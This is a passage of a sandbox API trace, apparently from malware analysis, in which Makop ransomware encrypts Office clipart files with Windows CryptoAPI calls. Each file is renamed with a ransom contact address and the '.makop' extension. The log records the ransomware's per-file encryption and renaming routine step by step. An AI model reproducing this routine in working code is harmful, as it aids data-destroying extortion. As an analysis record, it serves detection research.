lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.125] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.126] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.126] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.126] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.126] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfc0, lpOverlapped=0x0) returned 1 [0150.126] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfc0) returned 1 [0150.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.127] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xfc0, lpOverlapped=0x0) returned 1 [0150.127] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.127] SetEndOfFile (hFile=0xf0) returned 1 [0150.134] GetProcessHeap () returned 0x48a0000 [0150.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.134] GetProcessHeap () returned 0x48a0000 [0150.134] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.134] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.136] CloseHandle (hObject=0xf0) returned 1 [0150.136] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1 [0150.136] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF") returned 63 [0150.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.137] GetProcessHeap () returned 0x48a0000 [0150.137] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.137] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.137] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.141] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.141] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.141] GetProcessHeap () returned 0x48a0000 [0150.141] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.141] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.141] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.141] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.142] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.142] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.143] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.143] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5b08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5b08, lpOverlapped=0x0) returned 1 [0150.144] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b10) returned 1 [0150.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b10, lpOverlapped=0x0) returned 1 [0150.145] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.145] SetEndOfFile (hFile=0xf0) returned 1 [0150.152] GetProcessHeap () returned 0x48a0000 [0150.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.152] GetProcessHeap () returned 0x48a0000 [0150.152] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.153] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.154] CloseHandle (hObject=0xf0) returned 1 [0150.154] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1 [0150.154] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF") returned 63 [0150.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.155] GetProcessHeap () returned 0x48a0000 [0150.155] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.156] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.160] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.161] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.161] GetProcessHeap () returned 0x48a0000 [0150.161] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.161] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.161] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.161] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.161] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.162] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.162] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.162] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.162] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.162] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2bb8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2bb8, lpOverlapped=0x0) returned 1 [0150.164] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2bc0) returned 1 [0150.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2bc0, lpOverlapped=0x0) returned 1 [0150.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.165] SetEndOfFile (hFile=0xf0) returned 1 [0150.171] GetProcessHeap () returned 0x48a0000 [0150.171] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.172] GetProcessHeap () returned 0x48a0000 [0150.172] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.172] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.173] CloseHandle (hObject=0xf0) returned 1 [0150.174] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1 [0150.174] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF") returned 63 [0150.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.176] GetProcessHeap () returned 0x48a0000 [0150.176] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.176] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.177] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.181] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.181] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.181] GetProcessHeap () returned 0x48a0000 [0150.181] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0150.181] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0150.181] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.181] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0150.181] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0150.181] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0150.181] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0150.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0150.182] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0150.182] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0150.182] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0150.182] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.182] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e58, lpOverlapped=0x0) returned 1 [0150.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e60) returned 1 [0150.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e60, lpOverlapped=0x0) returned 1 [0150.187] CryptDestroyKey (hKey=0x48c7128) returned 1 [0150.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.187] SetEndOfFile (hFile=0xf0) returned 1 [0150.194] GetProcessHeap () returned 0x48a0000 [0150.194] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0150.194] GetProcessHeap () returned 0x48a0000 [0150.194] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0150.194] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0150.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0150.207] CloseHandle (hObject=0xf0) returned 1 [0150.207] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1 [0150.207] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF") returned 63 [0150.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0150.209] GetProcessHeap () returned 0x48a0000 [0150.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0150.209] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0150.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0150.210] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0150.214] CryptImportKey (in: hProv=0x48bcc28, 